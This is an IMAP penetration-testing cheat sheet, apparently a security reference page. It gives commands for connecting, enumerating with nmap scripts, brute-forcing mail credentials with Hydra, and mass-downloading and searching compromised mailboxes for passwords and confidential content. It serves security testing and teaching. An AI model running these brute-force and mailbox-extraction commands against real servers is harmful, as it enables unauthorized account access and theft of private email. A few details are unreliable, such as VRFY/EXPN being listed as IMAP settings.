IMAP (Internet Message Access Protocol) Pentesting

IMAP pentesting techniques for identifying, exploiting mail servers, enumeration, attack vectors and post-exploitation insights.

port 143port 993

IMAP (Internet Message Access Protocol)

Default Ports: 143 (IMAP), 993 (IMAPS)

Internet Message Access Protocol (IMAP) is a standard email protocol that stores email messages on a mail server and allows the end user to view and manipulate them as though they were stored locally on their device. Unlike POP3, IMAP synchronizes email across multiple devices and allows management of email directly on the server.

Connect​

Using Telnet​

Connect to IMAP servers using telnet for manual testing and interaction.

# Connect to IMAP server  
telnet target.com 143  
  
# Basic IMAP conversation  
a1 LOGIN username password  
a2 LIST "" "*"  
a3 SELECT INBOX  
a4 FETCH 1 BODY[]  
a5 LOGOUT

Using openssl (IMAPS)​

Connect to IMAP servers using SSL/TLS encryption for secure communication.

# Connect with SSL  
openssl s_client -connect target.com:993 -crlf -quiet  
  
# IMAP commands  
a1 LOGIN username password  
a2 LIST "" "*"  
a3 LOGOUT

Using curl​

Use curl for automated IMAP access and email retrieval.

# List mailboxes  
curl -u username:password imap://target.com/  
  
# Read specific email  
curl -u username:password imap://target.com/INBOX -X "FETCH 1 BODY[]"  
  
# IMAPS  
curl -u username:password imaps://target.com/ --insecure

Recon​

Service Detection with Nmap​

Use Nmap to detect IMAP mail servers and identify server versions:

nmap -p 143,993 -sV target.com

Banner Grabbing​

Identify IMAP server software and version through banner grabbing.

Using netcat​

# Using netcat  
nc target.com 143

Using telnet​

# Using telnet  
telnet target.com 143

Using nmap​

# Using nmap  
nmap -p 143 -sV target.com

Enumeration​

Capability Enumeration​

IMAP servers advertise their supported features and authentication methods through the CAPABILITY command.

# Get server capabilities  
telnet target.com 143  
a1 CAPABILITY  
  
# Response shows supported features:  
# - AUTH methods (PLAIN, LOGIN, CRAM-MD5)  
# - STARTTLS support  
# - IDLE support  
# - Other extensions

Advanced IMAP Enumeration​

Use specialized Nmap scripts for detailed IMAP server analysis.

Using imap-capabilities Script​

# Enumerate server capabilities  
nmap -p 143 --script imap-capabilities target.com

Using imap-ntlm-info Script​

# Extract NTLM authentication details  
nmap -p 143 --script imap-ntlm-info target.com

Using All IMAP Scripts​

# Run all IMAP-related scripts  
nmap -p 143,993 --script imap-* target.com

Mailbox Enumeration​

After successful authentication, you can enumerate mailboxes, folders, and message counts.

# List all mailboxes  
a1 LOGIN username password  
a2 LIST "" "*"  
  
# List folders  
a3 LIST "" "INBOX.*"  
  
# Check mailbox status  
a4 STATUS INBOX (MESSAGES RECENT UNSEEN)  
  
# Select mailbox  
a5 SELECT INBOX

Attack Vectors​

Brute Force​

Brute forcing IMAP credentials can reveal weak email account passwords.

Using Hydra​

# IMAP (plaintext)  
hydra -l user@target.com -P passwords.txt imap://target.com  
  
# IMAPS (SSL/TLS)  
hydra -l user@target.com -P passwords.txt imaps://target.com:993  
  
# Multiple users  
hydra -L users.txt -P passwords.txt imap://target.com

Using Nmap​

nmap -p 143 --script imap-brute target.com

Pass-the-Hash​

Exploit NTLM authentication to use password hashes instead of plaintext passwords.

# If NTLM auth is supported  
# Connect with NTLM hash instead of password  
# Check with:  
nmap -p 143 --script imap-ntlm-info target.com

Post-Exploitation​

Email Extraction​

Extract emails and sensitive information from compromised IMAP accounts.

Read and Search Emails​

# Read all emails  
a1 LOGIN username password  
a2 SELECT INBOX  
a3 FETCH 1:* (BODY[])  
  
# Search for specific content  
a4 SEARCH SUBJECT "password"  
a5 SEARCH FROM "admin@target.com"  
a6 SEARCH TEXT "confidential"

Download Emails​

# Download all emails with curl  
for i in {1..100}; do  
  curl -u username:password "imap://target.com/INBOX;UID=$i" > email_$i.eml  
done

Sensitive Information​

Search for sensitive information and credentials in email content.

Keyword Search​

# Search for keywords  
SEARCH TEXT "password"  
SEARCH TEXT "credential"  
SEARCH TEXT "confidential"  
SEARCH SUBJECT "reset"

Advanced Search​

# Search by date  
SEARCH SINCE 01-Jan-2024  
  
# Combined search  
SEARCH FROM "admin" SUBJECT "password"

Common IMAP Commands​

Command| Description| Usage
---|---|---
CAPABILITY| List capabilities| a1 CAPABILITY
LOGIN| Authenticate| a1 LOGIN user pass
LIST| List mailboxes| a1 LIST "" "*"
SELECT| Select mailbox| a1 SELECT INBOX
FETCH| Retrieve messages| a1 FETCH 1 BODY[]
SEARCH| Search messages| a1 SEARCH TEXT "keyword"
STORE| Modify flags| a1 STORE 1 +FLAGS \Deleted
LOGOUT| Close session| a1 LOGOUT

Useful Tools​

Tool| Description| Primary Use Case
---|---|---
telnet| Terminal client| Manual testing
openssl s_client| SSL/TLS client| IMAPS connection
curl| Transfer tool| Automated access
Hydra| Password cracker| Brute force
Nmap| Network scanner| Service detection
Metasploit| Exploitation framework| Automated testing

Security Misconfigurations​

  • ❌ No encryption (port 143)
  • ❌ Weak passwords
  • ❌ VRFY/EXPN enabled
  • ❌ No rate limiting
  • ❌ Plaintext authentication allowed
  • ❌ No account lockout
  • ❌ Outdated IMAP server
  • ❌ No TLS required
  • ❌ Information disclosure